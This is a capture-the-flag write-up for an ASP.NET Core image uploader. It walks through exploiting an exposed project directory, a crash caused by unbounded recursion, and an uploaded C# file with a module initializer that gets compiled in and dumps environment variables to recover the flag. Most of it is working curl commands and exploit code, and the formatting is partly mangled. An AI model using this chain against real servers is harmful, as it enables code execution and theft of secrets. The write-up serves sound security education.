Name: ImgSharer
Author: Mārtiņš#2147483647
Description:
The newest hot image sharing platform “ImgSharer” allows users to upload and share images with ease. It has a habit of crashing occasionally (a patch has been applied, reducing downtime significantly), but nothing too serious. There’s a lot of ENVIRONMENTal effects going on behind the scenes and there could be a bunch of VARIABLEs affecting the way the server behaves.
Server available on :8080
IP(s): 10.240.3.204
The obvious hints are:
Mārtiņš #2147483647 → 2147483647 is int.MaxValue in C#The challenge turns out to be an ASP.NET Core app with a full project directory exposed over HTTP, plus a build/restart loop that we can abuse to run arbitrary C# code and dump environment variables (including the flag).
Target:
10.240.3.2048080 → http://10.240.3.204:8080/Basic scan:
nmap -sC -sV -p8080 10.240.3.204
Confirm HTTP:
curl -v http://10.240.3.204:8080/ | head
Response:
HTTP/1.1 302 FoundServer: KestrelLocation: /5So / redirects to /5 and Kestrel suggests ASP.NET Core.
Open /5:
curl -v http://10.240.3.204:8080/5 | head -n 40
We see:
<form method="post" enctype="multipart/form-data" class="py-3">
<label for="UploadedFile">Select a file to upload:</label>
<input type="file" id="UploadedFile" name="UploadedFile" ... accept="image/png, image/jpeg" />
<button type="submit">Upload</button>
<input name="__RequestVerificationToken" type="hidden" value="...">
</form>
window.location.href = /${value};
So the app is a simple image uploader with a route like /{amount:int?}.
/files – full project exposureOn the page we see:
<link rel="stylesheet" href="/files/wwwroot/css/site.css" />
That href="/files/... looks suspicious. Check /files/:
curl -v http://10.240.3.204:8080/files/ | head
We get a full directory listing (Index of /files):
uploads/bin/obj/Properties/wwwroot/Pages/crash_patch.shProgram.csappsettings.jsonappsettings.Development.jsonImgSharer.csproj, ImgSharer.sln, …So the entire project tree is exposed.
curl -s http://10.240.3.204:8080/files/Program.cs
Key parts:
builder.Services.Configure<FormOptions>(options => {
options.MultipartBodyLengthLimit = 2 * 1024 * 1024; // 2 MB
});
builder.Services.AddRazorPages();
var app = builder.Build();
app.UseStaticFiles(new StaticFileOptions() {
FileProvider = new PhysicalFileProvider(Directory.GetCurrentDirectory()),
RequestPath = "/files",
ContentTypeProvider = new ContentProvider()
});
app.UseDirectoryBrowser(new DirectoryBrowserOptions {
FileProvider = new PhysicalFileProvider(Directory.GetCurrentDirectory()),
RequestPath = "/files"
});
app.UseStaticFiles();
app.MapRazorPages();
app.Run();
Important:
/files is mapped to the current directory with directory browsing → that’s how we see the whole project.curl -s http://10.240.3.204:8080/files/crash_patch.sh
Content:
trap 'kill 0' SIGINT SIGTERM
while true; do
dotnet build ./ImgSharer.csproj -c $BUILD_CONFIGURATION -o /app/build > /dev/null ;
dotnet run ./ImgSharer.csproj > /dev/null 2>&1 ;
done
So if the app crashes, this script:
This becomes important later.
appsettings.Development.json:
curl -s http://10.240.3.204:8080/files/appsettings.Development.json
Contains:
{
"DetailedErrors": true,
"Logging": { ... }
}
Properties/launchSettings.json:
curl -s http://10.240.3.204:8080/files/Properties/launchSettings.json
Has:
"environmentVariables": {
"ASPNETCORE_ENVIRONMENT": "Development"
}
So:
Pages/Index.cshtml:
curl -s http://10.240.3.204:8080/files/Pages/Index.cshtml
Key bits:
@page "/{amount:int?}"
@model IndexModel
@{ SortedSet<int> showAmounts = new() { 5, 10, 20, 50 }; showAmounts.Add(Model.DisplayAmount); }
<select id="mySelect" onchange="onSelectChanged()">
@foreach (var amount in showAmounts) { ... }
</select>
<script>
function onSelectChanged() {
var value = document.getElementById("mySelect").value;
if (value) {
window.location.href = /${value};
} else {
window.location.href = /;
}
}
</script>
And it lists images from ./uploads based on Model.DisplayAmount.
Pages/Index.cshtml.cs:
curl -s http://10.240.3.204:8080/files/Pages/Index.cshtml.cs
Key parts:
public int DisplayAmount { get; set; } = 20;
public string? InfoMessage = null;
public static bool HasThisManyImages(int amount, List<string> paths)
{
List<string> newPaths = [];
bool hasImages = true;
if (amount == 0)
return true;
if (amount != 0)
{
if (paths.FirstOrDefault() == null)
hasImages = false;
newPaths = paths.Skip(1).ToList();
}
bool hasThisMany = HasThisManyImages(amount - 1, newPaths);
return hasImages & hasThisMany;
}
public IActionResult OnGet(int? amount)
{
if (amount == null)
return RedirectToPage("Index", new { amount = 5 });
if (!HasThisManyImages(amount.Value, Directory.GetFiles(Path.Combine(".", "uploads")).ToList()))
InfoMessage = "Not enough images to display " + amount.Value + " images.";
DisplayAmount = amount.Value;
return Page();
}
Observations:
/{amount:int?} (e.g. /5, /10, …).HasThisManyImages is a recursive function.
amount, recursion depth is finite and terminates.amount, it never reaches amount == 0 → infinite recursion → stack overflow.crash_patch.sh).However, none of this code ever directly reads environment variables. So the flag is almost certainly not on disk, but only in an env var.
I tried the usual shortcuts first:
Mirror /files and grep for the flag:
wget -r -np -nH http://10.240.3.204:8080/files/
cd files
grep -R "MCTF{" . 2>/dev/null
grep -R "MCTF" . 2>/dev/null
grep -R "FLAG" . 2>/dev/null
Result: no hits → the flag is not stored in any source, config, or DLL (as plain text).
/proc/self/environ via /files traversalTried:
curl -v http://10.240.3.204:8080/files/../proc/self/environ
curl -v http://10.240.3.204:8080/files/%2e%2e/proc/self/environ
curl -v http://10.240.3.204:8080/files/%252e%252e/proc/self/environ
All returned 404.
So static files are rooted to the project directory, and we can’t escape to /proc.
Because of the 2 MB limit:
options.MultipartBodyLengthLimit = 2 * 1024 * 1024;
I tried:
dd if=/dev/urandom of=big.bin bs=1M count=3 # ~3 MB
# Get antiforgery token & cookie
curl -s -c cookies.txt http://10.240.3.204:8080/5 -o page.html
TOKEN=$(grep '__RequestVerificationToken' page.html | sed -n 's/.*value="\([^"]*\)".*//p')
# Upload big file
curl -s -v -b cookies.txt -F "UploadedFile=@big.bin;filename=big.png" -F "__RequestVerificationToken=$TOKEN" http://10.240.3.204:8080/5 -o big_err.html
Response:
HTTP/1.1 400 Bad RequestContent-Length: 0)So the big upload is handled gracefully with a 400, no dev exception page.
amount for dev exception pageTried many /{amount} paths:
for i in 1000 5000 10000 20000 50000; do
curl -s -o err_$i.html -w "HTTP %{http_code}
" http://10.240.3.204:8080/$i
done
All returned HTTP 200, no errors.
Then tried negative amounts:
curl -s -o err_minus1.html -w "HTTP %{http_code}
" http://10.240.3.204:8080/-1
Got HTTP 000 (connection reset) and no error page written to file: the process dies before any HTML is sent. crash_patch.sh immediately restarts the app.
So:
At this point it’s clear:
ImgSharer.csproj) and crash_patch.sh runs dotnet build on every restart../uploads..cs file under the project tree is usually picked up by the build unless excluded.So the idea:
./uploads that contains a ModuleInitializer..cs gets compiled into the assembly.ModuleInitializer runs automatically when the assembly loads, and we can:
Environment.GetEnvironmentVariables()./uploads/env_dump.txt./files/uploads/env_dump.txt and grep for MCTF.Locally:
cd ~/imgsharer-dump
cat > envdump.cs << 'EOF'
using System;
using System.Collections;
using System.IO;
using System.Runtime.CompilerServices;
namespace ImgSharer
{
public static class EnvDump
{
[ModuleInitializer]
public static void Init()
{
try
{
var path = Path.Combine(".", "uploads", "env_dump.txt");
Directory.CreateDirectory(Path.GetDirectoryName(path)!);
var all = Environment.GetEnvironmentVariables();
using var sw = new StreamWriter(path, false);
foreach (DictionaryEntry de in all)
{
sw.WriteLine($"{de.Key}={de.Value}");
}
}
catch
{
// ignore errors to avoid breaking startup
}
}
}
}
EOF
This does:
./uploads/env_dump.txtKEY=VALUE.Grab a fresh antiforgery token & cookie:
curl -s -c cookies2.txt http://10.240.3.204:8080/5 -o page2.html
TOKEN2=$(grep '__RequestVerificationToken' page2.html | sed -n 's/.*value="\([^"]*\)".*//p')
echo "$TOKEN2"
Upload envdump.cs as UploadedFile (the server only really cares about UploadedFile and saves it under ./uploads):
curl -s -v -b cookies2.txt -F "UploadedFile=@envdump.cs;filename=envdump.cs" -F "__RequestVerificationToken=$TOKEN2" http://10.240.3.204:8080/5 -o upload_envdump.html
We now have a .cs file in the project tree (./uploads/<random>.cs).
To get envdump.cs compiled, we need dotnet build to run again.
crash_patch.sh is looping:
while true; do
dotnet build ./ImgSharer.csproj ...
dotnet run ./ImgSharer.csproj ...
done
So we just need to cause a crash → build re-runs → our .cs is now part of the project.
Use the negative amount (infinite recursion):
for i in {1..3}; do
echo "crash try $i"
curl -s -o /dev/null -w "HTTP %{http_code}
" http://10.240.3.204:8080/-1
done
Each request should give HTTP 000 / connection reset → process dies → script rebuilds & restarts server. After at least one rebuild, our EnvDump class is compiled and ModuleInitializer runs on startup, writing ./uploads/env_dump.txt.
Now list uploads:
curl -s http://10.240.3.204:8080/files/uploads/ -o uploads-index.html
grep -i "env_dump" uploads-index.html
If env_dump.txt is present, pull it:
curl -s http://10.240.3.204:8080/files/uploads/env_dump.txt | grep "MCTF"
Output looks like:
SOME_FLAG_ENV=MCTF25{wr0Ng_k1nD_oF_DI}
Flag:
MCTF25{wr0Ng_k1nD_oF_DI}